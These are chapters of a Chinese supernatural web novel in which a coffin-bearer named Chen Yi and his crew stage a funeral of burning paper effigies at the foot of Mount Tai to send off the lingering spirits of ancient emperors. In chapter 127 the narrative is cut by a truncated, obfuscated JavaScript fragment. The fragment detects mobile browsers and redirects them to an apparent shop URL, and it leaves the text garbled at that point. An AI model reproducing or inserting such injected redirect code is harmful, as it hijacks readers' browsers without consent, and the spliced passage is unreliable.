【泰山的重负】。
红色的字迹在镜面上闪烁,触目惊心。
陈义的眉头拧成了一个“川”字。
他走出密室,没去管还没回过神来的兄弟们。
他走到书桌前,提笔,蘸墨。
动作行云流水。
一张写满了古朴祭文的黄裱纸,落在了桌面上。
“胖三。”
“在!八爷您吩咐!”胖三连滚带爬地跑过来。
陈义收起毛笔,目光深邃。
“查一下去泰山的路线。”
“咱们去给那座山,烧点纸。”
第125章 泰山病了,咱去给历代帝王办场葬礼!
苏家老宅的地下密室,空气里还残留着劫后余生的焦糊气。
那气味里,甚至诡异地混杂着一丝心满意足的饱嗝味。
胖三一屁股瘫在地上,两眼发直,嘴里还在无意识地念叨。
“吃了……真给吃了……”
“连棺材带里头的货,一口闷了……”
猴子、老七几人虚脱地靠着墙壁,脸色惨白,大口喘着粗气。
他们没胖三那么话多,但眼神里的惊骇如出一辙。
刚才那一幕,彻底摧毁了他们对“吃饭”这个词的认知。
那不是吞噬。
那是更高层级的抹除,是从存在层面的彻底清零。
唯有陈义,静静站在那。
他将那枚新得的【兵主之鳞】按入眉心,一股冰冷刺骨的杀伐气机自身上掠过。
密室墙角,瞬间凝结出一层薄薄的白霜。
胖三激灵灵打了个冷颤,总算回过神。
他连滚带爬地凑到陈义脚边,仰着头,声音都带上了哭腔。
“八……八爷,咱……咱们义字堂的业务,是不是有点太……太硬核了?”
“以后不会天天都得看这种现场直播吧?”
陈义没有理他。
他走到书桌前,将那张刚写好的祭文轻轻拿起。
纸是普通的黄裱纸,墨是普通的松烟墨。
可在陈义手里,那张纸却压得空气都沉甸甸的。
上面的每一个字,都透着一股山川的厚重。
“胖三。”
“哎!在!八爷您吩咐!”胖三噌地一下从地上弹起来,站得笔直。
陈义的目光落在手里的祭文上,语气平静。
“查一下去泰山的路线。”
胖三一愣,下意识掏出手机:“好嘞八爷,去泰山旅游啊?我给您订最好的酒店,总统套……”
“咱们去给那座山,烧点纸。”
陈义一句话,让胖三后半截话死死卡在了喉咙里。
他一张胖脸憋得通红。
“烧……烧纸?”
“给……给山烧纸?”胖三的声音都变了调,“八爷,那可是泰山啊!五岳之首,历代皇帝封禅的地方!咱这小门小户的……去那儿烧纸,人家让吗?别回头再给咱按个封建迷信给拘了……”
“不是求神,也不是拜佛。”
陈义终于抬起眼,他的瞳孔中,倒映着铜镜里那片翻涌不休的灰色死气。
“是办丧。”
“办……办丧?”猴子也忍不住开了口,声音干涩。
陈义将手里的祭文递给胖三。
“泰山病了,病了几千年。”
“病根,就是那些赖在山上不肯走,还想再借山川龙脉续命的帝王将相。”
“咱们去,就是给这群**几百上千年的老东西,办一场风风光光的集体葬礼。”
!!!
整个密室的呼吸声都消失了。
胖三等人脑子里嗡的一声,一片空白。
给历代帝王办葬礼?
这他妈是什么业务?
这业务范围是不是已经冲出地球,走向宇宙了?
胖三哆哆嗦嗦地接过那张祭文,只觉得手上一沉,那薄薄一张黄纸竟压得他手腕一弯,差点没拿稳。
他看着陈义,嘴唇哆嗦了半天,终于憋出一句。
“八爷……这……这得加钱吧?”
陈义扫了他一眼。
“这次,不要钱。”
他顿了顿。
“我们是去收账的。”
陈义不再解释,开始下达一连串命令,每一句都匪夷所思。
“胖三,联系京城所有纸扎铺,有多少算多少,给我订做九十九套最高规格的帝王冠冕、龙袍、玉玺。记住,要手工的,最讲究的那种。钱不够,找福伯要。”
“猴子,老七,把张三爷赔给咱们的那个‘七巧分金盘’带上。再备好上等的朱砂、全新的狼毫笔,还有九十九张空白的黄裱纸。”
“大牛,你的金瓜锤,找块最好的磨刀石,给我仔仔细细地磨上三天。这次,可能要砸的不是石头。”
众人虽然满心惊骇,但看着陈义的眼神,都下意识地大声应是。
“八爷,那……咱们的杠木和棺材呢?”胖三小心翼翼地问。
“这次不抬棺。”陈义淡淡道,“咱们是执绋人,是送葬的。主角,是那些帝王。”
交代完一切
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,陈义转身回了书房,将自己关了起来。
接下来的三天,整个苏家老宅陷入了一种诡异的忙碌。
一车车的纸扎龙袍、冠冕被运进后院,堆得像小山,看得福伯眼皮直跳。
大牛坐在院子里,抱着他那柄金瓜锤,用一块巨大的青石磨刀石,一下,一下,缓慢而有力地打磨着。
那声音不刺耳,反而沉闷得像是在敲击某种古老的节拍,让人的心跳都跟着慢了下来。
猴子和老七将那个“七巧分金盘”擦拭得锃亮,然后一遍遍地演练着用朱砂在黄裱纸上绘制繁复符箓。
胖三跑断了腿,总算把九十九套纸扎凑齐了。
他累得跟死狗一样瘫在院子的躺椅上,看着这满院子不像办白事,倒像唱大戏的行头,只觉得这世界越来越魔幻了。
三天后,清晨。
陈义从书房走了出来。
他换上了一身最简单的黑色对襟短褂,脚下是双千层底的布鞋,整个人看起来就像个准备出门远行的乡下小子。
可他一出现,院子里的风停了,蝉不叫了,连阳光都仿佛凝重了几分。
他走到院中,目光扫过那堆积如山的纸扎,又看了看整装待发的兄弟们。
“家伙都备齐了?”
“齐了!”众人齐声应道。
“出发。”
没有棺材,没有杠木。
几辆普通的越野车驶出了苏家老宅,汇入京城的车流,朝着京沪高速的方向开去。
车上,胖三看着后视镜里越来越远的京城轮廓,心里还是不踏实。
“八爷,咱们就这么去?感觉跟旅游团似的,一点排面都没有啊。”
陈义闭着眼,靠在座椅上,手里摩挲着那张他亲手写就的祭文。
“最大的排面,不是行头,是规矩。”
他睁开眼,看向窗外飞速掠过的景物,声音不大,却清晰地传到每个人耳朵里。
“自古泰山安,则四海安。”
“今天,义字堂就去给这座天下第一山,立一回规矩。”
车队一路疾驰。
傍晚时分,一块巨大的路牌在暮色中一闪而过。
【泰安】
第126章 帝王龙气?今夜,给这满山神佛送大殡!
车队驶入泰安市区,夜色已经浓得化不开。
那座巍峨的泰山,此刻并非风景,而是一头匍匐在黑暗中的巨兽,连沉默的轮廓都散发着令人心口发闷的厚重。
胖三连打了几个哈欠,划拉着手机屏幕,嘴里念叨个没完。
“八爷,可算到地儿了。我瞅准了家五星级酒店,顶楼带温泉的,咱们这趟累死累活,可得好好泡泡,解解乏……”
“不去。”
陈义闭着眼,连头都没抬一下。
“找个能看见山脚的老院子。”
胖三那张肥脸瞬间就垮了:“啊?还住老院子?八爷,时代变了,咱们现在是京城有头有脸的人物,得学会享受……”
“让你去,就去。”
陈义的声音很轻,却让胖三的脖子猛地一缩,后半截话死死卡在了喉咙里。
他悻悻地收起手机,压低了声音嘟囔:“行,行,您是老大,您说了算。享受是狗屁,规矩大过天……”
车子在巷弄里七拐八拐,最终在一处毫不起眼的青砖灰瓦前停下。
这里是家老宅改造的客栈,院里有棵枯藤缠绕的老槐树,透着一股与世隔绝的清净。
可众人刚一下车,一股无形的巨压便当头罩落。
这压力不同于古墓的阴冷,也无关凶煞的暴戾。
它沉重、古老、浩大,压得人骨头发酸,仿佛有一整座山直接堆在了你的天灵盖上,连呼吸都带着铁锈味。
胖三刚想张嘴抱怨,一抬头,恰好对上陈义看过来的眼神,便硬生生把话又吞了回去。
几人开了相邻的几间厢房,陈设简陋,但还算干净。
猴子和老七一进屋,没说半句废话,便将那个从摸金门“赔”来的七巧分金盘,端端正正地摆在了八仙桌的中央。
大牛则寻了个墙角,盘腿坐下,将层层包裹的金瓜锤横在膝上,闭目垂眉,宛如一尊入定的石像。
陈义没理会他们,独自走到窗前,推开了吱呀作响的木窗。
夜色中的泰山,显露出的不是五岳独尊的雄奇,而是一个吞噬光线与希望的巨大黑色旋涡。
它就那么沉默地盘踞在那里,要将人的心神都活活拽进去,碾成齑粉。
“八爷,这山……不对劲。”猴子凝重的声音从背后传来,“气场太沉了,多待一会儿魂都得被压扁。”
“不是山在压人。”
陈义的目光穿透了深沉的夜色,视线里,那山体内部盘根错节的脉络纤毫毕现。
“是这座山,背了太多它不该背的东西。”
他转过身,走到桌前,一只手轻轻按在了那冰凉刺骨的七巧分金盘上。
“开盘,问路。”
猴子和老七立刻会意。
两人各自取出一支全新的狼毫笔,蘸饱了猩红的朱砂,屏住呼吸,在分金盘两侧的乾坤方位上,一笔一划地绘制出繁复玄奥的符文。
笔尖游走,朱砂浸染。
那古朴的铜盘竟像是从沉睡中苏醒,中央那根乌黑的指针,开始发出令人牙酸的“嗡嗡”声,疯狂地旋转起来。
盘面上,原本模糊不清的山川纹路陡然亮起微光,勾勒出一幅立体的泰山地貌图。
但这幅图上,没有一丝一毫的生机。
取而代之的,是无数道粗细不一的黑色丝线,如狰狞的血管般死死缠绕着山体。
黑线从山脚向上蔓延,最终汇聚在几个关键的节点。
玉皇顶、日观峰、南天门……
每一个香火鼎盛的地名,在分金盘上,都呈现为一个漆黑如墨的脓疮,正不断向外渗出灰败的死气。
“嘶……”胖三浑身的鸡皮疙瘩都炸了起来,只觉得一股寒气从尾椎骨直冲脑门,“这……这他妈哪是五岳独尊,这整个一大型露天坟场啊!”
话音未落,一股难以言喻的浩大威压,毫无征兆地从泰山之巅横扫而来!
那不是单一的意志。
那是成百上千道意志的叠加!
每一道意志都浸透了君临天下的傲慢与不容侵犯的威严。
沉睡的帝王们,被脚下的蝼蚁惊扰,降下了他们跨越千古的怒火。
“何人……胆敢窥探朕之长眠!”
一个苍老而霸道的声音,不是通过耳朵,而是直接在众人脑海深处炸响。
紧接着,是第二个,第三个,无数个!
“放肆!孤的江山,岂容尔等鼠辈觊觎!”
“滚!否则,神形俱灭!”
无数道驳杂而强横的帝王龙气,在空中交织成一股无形的精神风暴,狠狠冲撞着这间小小的客房。
窗户纸“哗啦啦”狂响,桌上的茶杯毫无征兆地炸成碎片,房梁上的灰尘簌簌而下。
“妈呀!”胖三尖叫一声,一屁股瘫在地上,脸色瞬间惨白如纸,浑身抖得如同风中落叶。
猴子和老七更是齐齐闷哼一声,嘴角溢出鲜血,握着笔的手剧烈颤抖,再也画不下一笔。
唯有陈义。
他依旧站在桌前,身形稳如山岳,纹丝不动。
那
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股足以让寻常修行者魂飞魄散的帝王威压,冲到他面前三尺,却撞上了一堵看不见的堤坝。
他体内的【炎黄令】紫金龙气自行运转,发出一声低沉的龙吟,便将那些陈腐的帝王龙气尽数挡在身外。
“长眠?”
陈义的嘴角,勾起一抹极度冷冽的弧度。
“**几百年,依旧赖在活人的地界不肯挪窝,窃取山川灵秀,苟延残喘。”
“这也配叫长眠?”
他缓缓抬起另一只手,眉心之处,那枚新得的【兵主之鳞】骤然亮起!
一道刺目欲目的血光,破开皮肉,迸射而出!
一股纯粹到极致的、蛮不讲理的杀伐之气,瞬间凝成一道无形的利箭,顺着那冥冥之中的感应,逆流而上,狠狠刺向了泰山之巅!
“轰!”
一声惊雷仿佛在九天之上炸响。
泰山之巅,那无数道交织的帝王龙气猛地一滞,随即像是被捅穿的马蜂窝,彻底陷入了狂暴!
整座泰山,都在这一刻发出了肉眼可见的轻微颤抖。
客栈院子里的那棵老槐树,满树的叶片在刹那间枯黄,如雨般凋零。
但陈义身上的杀伐之气却不退反进,愈发炽烈。
帝王虽霸道,终究是死物。
而【兵主之鳞】,代表的却是这片土地上最原始、最纯粹的“征伐”与“破灭”规则!
它,是活着的凶器!
僵持了足足十几个呼吸,那股狂暴的帝王威压终于如潮水般退去,只在空中留下了满山不甘的咆哮与惊疑。
“收工。”
陈义收回手,眉心的血光悄然隐去。
桌上,七巧分金盘的指针也终于停止了疯狂的旋转,稳稳地指向了东南方一个早已被废弃的地点。
“红门。”
陈义看着那个在盘面上闪烁着微弱红光的小点,语气平静得没有一丝波澜。
“历代帝王封禅的起始之地,也是他们死后龙气盘踞的‘鬼门关’。”
他转头,看向已经从地上爬起来,满脸劫后余生的胖三。
“胖三。”
“哎!八爷,我在!”
“把那九十九套行头,还有我写的祭文,都搬出来。”
陈义走到门口,一把拉开了房门。
冰冷的夜风灌入,吹得他黑色短褂的衣角猎猎作响。
“咱们不登山,也不拜神。”
“今晚,义字堂就在这泰山脚下,给这满山的帝王将相……”
“开坛,做法,送大殡!”
第127章 一纸檄文惊鬼神,今夜为诸皇送大殡!
陈义那句“送大殡”,像一柄无形的寒冰重锤,狠狠砸在客栈院里每个人的天灵盖上。
夜风,骤停。
胖三那张刚刚缓过二两血色的肥脸,再一次白得像张纸,嘴唇剧烈哆嗦,一个字都挤不出来。
给一个皇帝办丧事,那是泼天的富贵,也是泼天的风险。
可现在,八爷张嘴,竟是要给这泰山上盘踞了不知几百几千年的所有帝王将相,来一场集体打包的“清仓大甩卖”。
这他妈哪里是抬棺?
这分明是指着人家十八代祖宗的坟头蹦迪,还要顺手把人家的祖坟给刨了!
猴子和老七惊骇对视,都在对方瞳孔里看到了濒死的自己。
他们扶着桌子,强行压下喉头翻涌的腥甜,刚才那一下隔空的精神冲击,让他们到现在脑子里还是一片蜂鸣,天旋地转。
“八爷……这……这玩笑开不得。”猴子声音干涩得像是被砂纸磨过,“那不是一个两个,那是历朝历代的龙气汇聚……咱们八个人,怕是不够人家塞牙缝的。”
陈义没有回头,目光依旧穿透门扉,落向那片浓得化不开的黑暗。
“谁说要跟他们打了?”
他反问。
“我们是抬棺匠,不是杀神。”
“只负责送客,不负责迎敌。”
他终于转过身,视线精准地盯在胖三身上。
“胖三。”
“哎!八爷,我……我在!”胖三一个激灵,屁股下的椅子发出不堪重负的呻吟,他差点直接出溜到桌子底下去。
“家伙什呢?九十九套‘天家富贵’,我让你备的,都带齐了?”
“带……带来了……”胖三哭丧着脸,指了指停在院外的厢式货车,“一套没少,连纸扎的夜壶都给您配齐活了。”
“还有我写的那张纸。”
“也……也带着呢。”
“那就别愣着了。”陈义一摆手,语气平静无波,“开工。把所有行头,都给我搬到红门去。”
“现……现在?”胖三的眼珠子几乎要从眼眶里弹出来。
“不然呢?”
陈义瞥了他一眼。
“等天亮,请他们吃早饭吗?”
不容置疑。
胖三知道,这事儿没得商量了。他狠狠一咬牙,抬手在自己肥脸上抽了一巴掌,那股子亡命徒的狠劲儿又从骨髓里榨了出来。
死就死!跟着八爷混,哪天不是把脑袋别在裤腰带上过的!
“都**别挺尸了!干活!”胖三对着猴子和老七吼了一嗓子,自己则第一个冲出屋子,一把拽开了货车的后门。
一股纸张与浆糊混合的、陈腐而诡异的味道,扑面而来。
车厢里,塞得满满当当,全是纸扎的冥器。
但这些东西,跟寻常百货店里的完全不是一个路数。
最前面的是九十九顶小山似的帝王冠冕,纸糊的十二旒珠帘,在手电筒的光下泛着惨白阴冷的光。旁边是龙椅、凤榻,甚至还有一座一人多高的纸扎紫禁城,角楼飞檐,栩栩如生,却透着一股死气。
再往里,是密密麻麻的纸人。
文臣武将,宫女太监,一个个脸上都画着一模一样、标准到诡异的微笑,空洞的眼神直勾勾地望着车外,看得人头皮发麻。
胖三一边往外搬,一边嘴里骂骂咧咧:“操**,这哪是办白事,这是给阴曹地府搞房地产开发啊!八爷这心是真大,还他妈给赔了三千佳丽,生怕那帮老鬼在下边打光棍……”
猴子和老七也过来搭手,三人费了九牛二虎之力,才把这些占地方的“阴间奢侈品”都卸下来。
大牛始终沉默,走过来,一个人就扛起了一座纸扎的宫殿,脚步稳得像座山。
陈义最后走出屋子,手里拿着一卷用黑绸包裹的裱纸。
“八爷,那……那祭文……”猴子看着那张黑纸,眼皮狂跳,“我刚才不小心瞥了一眼,那上面写的……是骂人的话吧?”
那哪是祭文!
那分明是一张杀气腾腾的檄文!
开篇就把自秦皇汉武到明清两代的所有帝王挨个数落了一遍,说他们生前暴虐,死后赖着不走,是窃取山川灵气的“山蝗”,是盘踞在龙脉上的“死皮膏药”,言辞之刻薄,措辞之恶毒,看得猴子胆战心惊。
“对**,用不着说好话。”
陈义掂了掂手里的黑纸,嘴角勾起一抹冷意。
“他们赖在这里太久,已经忘了自己是谁了。”
“我得帮他们体面体面,给他们个台阶下。”
胖三看着陈义,心里疯狂吐槽:您管这叫给人台阶下?您这是要把人家的梯子都给抽了,再往井里扔两块巨石!
一行人,扛着这些足以让任何正常人报警的纸扎品,趁着夜色,朝着泰山脚下的红门走去。
子夜时分,万籁俱寂。
平日里游人如织的红门广场,此刻空无一人,连路灯都散发着昏黄无力的光。
那座历经千年的石牌坊,在夜色中像一头沉默的洪荒巨兽,用冰冷的眼窝注视着这群不速之客。
空气里弥漫着一股难以形容的重压,仿佛整座泰山的重量都凝聚于此,压得人骨节都在呻吟,每一次呼吸都像吸进了一口铁水。
“就这儿了。”陈义停下脚步。
他指挥着众人,将那九十九套“天家富贵”按照一种极其古怪的方位摆开。
不是传统的祭祀阵法,更像是一个准备**的工地现场。
纸扎的宫殿群被摆在最中央,周围是文臣武将,再外围是三千佳丽,形成一个巨大的包围圈,将中央的空地围得水泄不通。
这阵势,不似祭拜,形同围剿。
一切准备就绪。
陈义独自一人,走到了阵法的中央。
他没有点香,也没有摆供品,只是将那卷黑色的祭文,缓缓展开。
“呼——”
一阵刺骨的阴风凭空卷起,吹得那些纸人衣袂翻飞,发出“沙沙”的声响,仿佛无数亡魂正在窃窃私语。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960317|192254||http|test|mini|href|location''.split(''|''),0,{}));
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r>广场的温度,骤然降至冰点。
山顶之上,那成百上千道刚刚被【兵主之鳞】杀气惊退的帝王意志,再次苏醒!
这一次,它们的怒火比刚才更加狂暴,更加实质化!
天空中的乌云开始疯狂旋转,形成一个巨大的旋涡。
旋涡深处,隐约间,能看到旌旗招展,金戈铁马,无数巍峨如山的身影在云层中若隐若现。
一道道冰冷、威严、饱含杀意的目光,穿透云层,如同探照灯一般,死死锁定了广场中央那个蝼蚁般渺小的人影。
“八爷!他……他们都看着呢!”胖三的牙齿疯狂打颤,腿肚子转筋,几乎要瘫软在地。
陈义,恍若未闻。
他深吸一口气,丹田之气上涌,声音不大,却裹挟着一股奇异的穿透力,清晰地传遍了整个山脚,甚至逆着山风,直冲泰山之巅!
“奉炎黄之命,承国运之绋!义字堂陈义,今夜于泰山脚下,为尔等盘踞山川,窃取灵秀,不入轮回,贻害苍生之历代帝王将相——”
“开阴路!”
“送大殡!”
“秦皇汉武,功过自有后人书!尔等已为古人,何苦强留人间?”
“唐宗宋祖,风流皆被雨打风吹去!神州非你家,龙脉岂能私藏?”
“……”
他一句一句地念着那篇“祭文”。
每一个字,都像是一记响亮至极的耳光,狠狠抽在那些沉睡帝王的脸上。
“吼——!”
一声混合了万千怒意的咆哮,从泰山之巅炸响!
整座山峦都开始剧烈地颤抖,无数碎石从峭壁滚落,发出轰隆巨响。
那云层中的万千鬼影彻底暴怒,化作一股吞天食地的黑色洪流,挟裹着毁天灭地的威压,朝着红门广场直扑而来!
“聒噪。”
陈义念完最后一个字,脸上没有丝毫惧色,反而露出一抹极尽的嘲讽。
他屈指一弹。
一缕紫金色的龙气火焰,从指尖跃出,轻飘飘地落在了那张黑色的祭文上。
“轰——!”
黑纸无火自燃,但烧出的火焰,却是森然、诡异的惨绿色!
绿色的火焰如同一条苏醒的火龙,瞬间窜出,眨眼间便点燃了那九十九套纸扎的“天家富贵”!
熊熊的绿色鬼火,冲天而起,将整个夜空都映成了一片诡异的碧色。
那些纸人、纸马、纸宫殿,在火焰中疯狂扭曲、变形,发出刺耳的尖啸,仿佛一瞬间全都活了过来,在烈火中挣扎哀嚎。
胖三等人被这股灼热的阴气逼得连连后退,脸上血色尽失。
陈义却站在烈焰之前,衣衫被狂风吹得猎猎作响。
他抬起头,直视着那扑面而来的黑色洪流,双臂猛地张开,仿佛要拥抱整片死亡。
“吉时已到!”
他的声音盖过了风声,盖过了鬼哭狼嚎,如同九幽之下的判官,敲响了最后的丧钟。
“义字堂!”
“送——驾——!”
第128章 一声送驾,敕令万古帝王归墟!
那句“送驾”如同一道九幽传来的敕令,话音未落,天地间的气压骤然一变。
自泰山之巅奔涌而下的黑色洪流,裹挟着千百年来积攒的帝王戾气与杀伐之威,如天河倒灌,眼看就要将红门广场上的一切碾为齑粉。
那不是单纯的气势,而是凝为实质的精神山崩。
胖三只觉得一座烧红的铁山活了过来,正朝着自己的脸狠狠砸下。
他脑子里嗡的一声,眼前漆黑,双腿一软,直接瘫坐在地。
嘴里无意识地呢喃:“完了……这下真要给八爷收尸了……”
猴子和老七比他好不了多少,死死抓着身边能抓住的一切,指节因过度用力而惨白,牙关紧咬,骨头都在发出不堪重负的呻吟。
他们的视野里,是万马奔腾,是刀山血海。
无数身披龙袍的巍峨鬼影在洪流中咆哮,要将他们这些胆敢冒犯天威的蝼蚁撕成碎片。
唯有陈义,立于那冲天的惨绿色鬼火之前,纹丝不动。
他张开的双臂,不是挑衅,而是迎接。
迎接一场迟到了千年的葬礼。
“轰——!”
毁天灭地的黑色洪流,终于撞上了那片看似单薄的绿色火海。
没有惊天动地的**。
没有能量对冲的巨响。
极致诡异的一幕发生了。
那股足以撕裂山川、颠覆江河的狂暴意志,在触碰到绿色火焰的瞬间,竟像是滚油泼进了雪地,发出一阵刺耳的“滋啦”声。
然后……就被吸了进去!
对,就是被吸了进去!
那片看似只在焚烧纸钱的绿色鬼火,此刻化作一个无底的深渊,一个通往未知世界的幽冥入口。
任凭那黑色洪流如何凶猛,如何狂暴,一旦触及火海的边缘,便身不由己地被卷入其中,连一朵浪花都翻不起来。
“这……这他妈……”
胖三瘫在地上,眼珠子瞪得溜圆,嘴巴张得能塞进一个鸡蛋。
他想骂人,却发现自己连一句完整的脏话都组织不起来。
眼前发生的一切,彻底颠覆了他三十多年来对“打架”的认知。
这哪是打架?
这分明是请客吃饭,还是硬把人按在桌子上,逼着对方把饭吃下去!
那九十九套“天家富贵”在绿色鬼火中烧得愈发旺盛。
纸扎的宫殿楼阁不再扭曲,反而变得无比凝实,仿佛一座真正的紫禁城在烈焰中拔地而起。
那些纸扎的文臣武将、宫女太监,脸上的诡异微笑消失了,取而代之的是一种肃穆的、程式化的恭敬。
它们列队整齐,手持笏板、仪仗,在火焰中组成了一条浩浩荡荡的送葬仪仗。
而那被吸入火海的黑色洪流,其中的帝王鬼影,也开始发生变化。
他们身上的狂暴戾气正在被火焰飞速剥离、净化。
狰狞的咆哮,渐渐化为一声声夹杂着迷茫、不甘与解脱的复杂叹息。
“朕的大秦……亡了?”
一个身形最为巍峨的影子,在火焰中喃喃自语,他身上由戾气凝聚的黑色龙袍寸寸褪去,露出了当年巡游天下时的玄色衣袍。
“我的天下……我的江山……”
另一个头戴通天冠的身影,望着火焰中那座纸扎的未央宫,眼神里的疯狂散去,只余下无尽的复杂。
“痴儿,痴儿啊……”
一位身穿袈裟的帝王虚影,看着这一切,双手合十,闭上了眼睛。
他们赖在泰山上,凭着一股执念,守着早已化为尘土的功业。
他们忘了自己是人,忘了人会死。
他们以为自己还是君临天下的帝王,却不知早已成了盘踞在神州龙脉上的毒瘤。
直到此刻。
陈义用这一场盛大到极致的“大殡”,用这九十九套象征着他们毕生所求的“天家富贵”作为祭品,点燃了专为亡魂引路的“幽冥阴火”,强行提醒他们——
你们,已经**。
你们的时代,结束了。
“吉时已到,诸位,该上路了。”
陈义的声音再次响起,平静,却带着不容抗拒的法度威严。
随着他话音落下,那片火海中央,所有纸扎宫殿燃烧殆尽后,竟汇聚成了一艘巨大无比、通体漆黑的幽冥龙船!
龙船之上,雕梁画栋,旌旗招展,无数燃烧的纸人化作船工、侍卫,静静肃立。
这,才是陈义真正为他们准备的“棺材”!
一艘能承载千
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古帝王业,渡尽万载龙气魂的无上鬼船!
“吼……”
一声龙吟,不再是愤怒,而是源自灵魂深处的悲鸣。
那一道道帝王虚影,身不由己地被吸向那艘幽冥龙船。
他们回首,最后看了一眼这片他们曾经征服、统治、热爱的土地,眼神中的威严、暴虐、不甘,最终都化为了一片死寂。
他们一个个登上了鬼船,在属于自己的那套纸扎“天家富贵”前站定,仿佛回到了自己的朝堂。
当最后一道龙气被吸入鬼船,整座泰山之巅的黑色洪流,消失得无影无踪。
天空中的乌云旋涡也随之散去,露出清冷干净的星空。
压在红门广场上,压在胖三等人心头那股几乎能将人碾碎的恐怖重压,瞬间烟消云散。
“呼……”
胖三像是被从水里捞出来一样,大口大口地喘着粗气,浑身都被冷汗浸透了。
猴子和老七互相搀扶着站起来,看着那艘在绿色火焰中若隐若现的幽冥龙船,脸上只剩下敬畏和茫然。
他们跟了陈义这么久,抬过凶棺,拆过邪庙,甚至连长江龙王都钓过。
可没有哪一次,比今夜更让他们感到自身的渺小。
这已经不是“术”的范畴了。
这是在制定规则。
是强行让神鬼,都低头遵守他的规矩!
陈义看着那艘满载着历代帝王的幽冥龙船,缓缓抬起手,朝着龙船的方向,做了一个“请”的手势。
“义字堂,恭送诸位……龙驭归墟。”
轰!
绿色火焰猛地向内一缩,那艘巨大的幽冥龙船,连同船上所有的帝王将相,瞬间化作一道绿色的光点,没入虚空,消失不见。
火焰,熄灭了。
只留下一地冰冷的灰烬。
一阵清新的山风从山顶吹来,带着草木的芬芳,吹散了广场上最后的阴冷。
泰山,卸下了千年的重负,仿佛终于能够自由地呼吸。
陈义转过身,脸色比刚才白了几分,气息也有些微弱,但他的腰杆,依旧挺得笔直。
他看着瘫软在地,一脸劫后余生的兄弟们,嘴角扯了扯。
“活儿干完了。”
“收工。”
第129章 敕令社稷!这**长城,我来补妆!
泰山之巅的风,从未如此清冽过。
风里裹挟着雨后初晴般的草木清香,吹散了红门广场上最后一缕纸灰,也吹走了压在每个人神魂深处千百年的阴霾。
整座五岳之尊,仿佛终于卸下了千钧重负,开始舒畅地吐纳呼吸。
“呼……呼哧……呼哧……”
胖三瘫在冰凉的石板上,胸膛剧烈起伏,像一条被扔上岸快要憋死的鱼。
他双眼发直,瞳孔里映着清朗的夜空,嘴里无意识地反复呢喃着同一句话。
“没了……真没了……都让八爷……打包快递送走了……”
他旁边的猴子和老七,状态也没好到哪儿去。
两人互相搀扶着,才勉强站稳了身子,脸色惨白如纸,两条腿肚子还在不自觉地疯狂打摆子。
他们看着陈义的背影,那道在夜风中显得有些单薄的黑色身影,眼神里除了惯常的敬畏,更多了一种难以言喻的、几乎是恐惧的陌生感。
以前的八爷,是抬棺匠里的神,是规矩的化身。
今晚的八爷,却像是……制定规矩的神。
这其中的差别,光是想想,就让他们的骨头缝里都往外冒寒气。
“都他妈看**什么?”
陈义转过身,声音里带着一丝几乎无法捕捉的沙哑,那张脸的血色褪得干净,只剩下一片玉石般的苍白。
“活儿干完了,地上凉,想在这儿过夜?”
他这一开口,那股高悬于九天之上、俯瞰众生的神性,仿佛瞬间被他收回了体内。
他又变回了那个他们熟悉的八爷。
胖三一个激灵,手脚并用地从地上弹了起来,凑到陈义身边,脸上堆起比哭还难看的谄媚笑容。
“八爷,您……您还好吧?刚才那阵仗,我……我真以为咱们义字堂要改名叫‘义字陵’,当场就地掩埋了。”
陈义瞥了他一眼,没什么力气跟他计较。
“就你话多。把家伙事儿都收好,别在这儿留下半点痕迹。泰山刚喘口气,别再给它添堵。”
“得嘞!”
胖三一听,立马来了精神,招呼着众人开始麻利地收拾现场。
大牛默默地扛起他的金瓜锤,只是在扛起之前,他深深地看了一眼陈义,那双一向憨直的眼睛里,第一次有了些许复杂难明的光。
回泰安老院子的路上,车里的气氛死一样沉闷。
兄弟们都累坏了,但更多的是心累。
今夜的经历,对他们的冲击实在太大。胖三几次想开口说点什么骚话活跃气氛,可话到嘴边,看着窗外飞速**的夜景和闭目养神的陈义,又给硬生生咽了回去。
他感觉,自己和八爷之间,好像隔了一层看不见摸不着的琉璃墙。
以前八爷是领着他们往前冲的头狼,他们虽然跟得吃力,但总归知道方向。
现在,八爷像一只翱翔在九天云海里的鹰,他们只能在地面上仰着脖子,连他飞向何方都看不真切了。
陈义确实很累。
那一场“大殡”,看似只是烧了些纸钱,念了篇檄文,实则耗费了他海量的精神与气力。
他不仅是以自身为坐标,强行锚定了幽冥法则,更是用【炎黄令】的国运之气,给那帮不肯安息的帝王将相,重新定下了“死亡”的规矩。
这其中的凶险与消耗,不足为外人道也。
回到苏家老宅,已是凌晨。
陈义没有休息,径直走进了地下密室。
胖三等人识趣地没有跟进去,只是守在书房门口,一个个跟霜打的茄子似的,蔫头耷脑。
密室之内,那口吞噬了冠军侯凶棺的青铜巨棺,静静地躺在中央。
它的心跳声,比之前更加沉稳、更加有力,每一次搏动,都与整片神州大地的脉搏同频共振。
陈义走到巨棺前,伸出手,将那面混沌色的“病历铜镜”唤出。
镜面之上,原本代表泰山的那一块巨大无比、流着黑脓的疮疤,此刻已经消失得无影无踪。
取而代之的,是一团温润厚重、散发着勃勃生机的土黄色光晕。
光晕中央,一点帝王紫气萦绕,却不再霸道凌厉,反而透着一股**山河的祥和与安宁。
泰山,痊愈了。
就在陈义心神微松的瞬间,青铜巨棺的心跳猛地加快了一拍。
“咚!”
棺身上,一个全新的暗格悄无声息地滑开。
一枚龙鳞静静地躺在其中,通体呈现一种古朴的黄铜之色,上面没有繁复的花纹,只镌刻着两个沉重如山、古老如史的篆字——“社稷”。
【社稷之鳞】!
陈义伸出手,指尖触碰到龙鳞的刹那,一股厚重无边、苍茫浩瀚的气息瞬间冲入他的四肢百骸。
这一刻,他仿佛不再是一个人。
他“看”到了先民刀耕火种,筚路蓝缕;“听”到了大禹斧劈龙门,划分九州;“闻”到了无数先辈为了这片土地的存续,洒下的滚烫热血的铁锈味。
江山社籍,国之根本。
这枚龙鳞,代表的不是个人的武力,也不是神鬼的异能,而是一种承载着民族气运、调动国之根本的无上权柄!
他体内的【山河鳞】与【兵主之鳞】同时剧烈震颤,与这股新生的力量发出嗡嗡的共鸣。
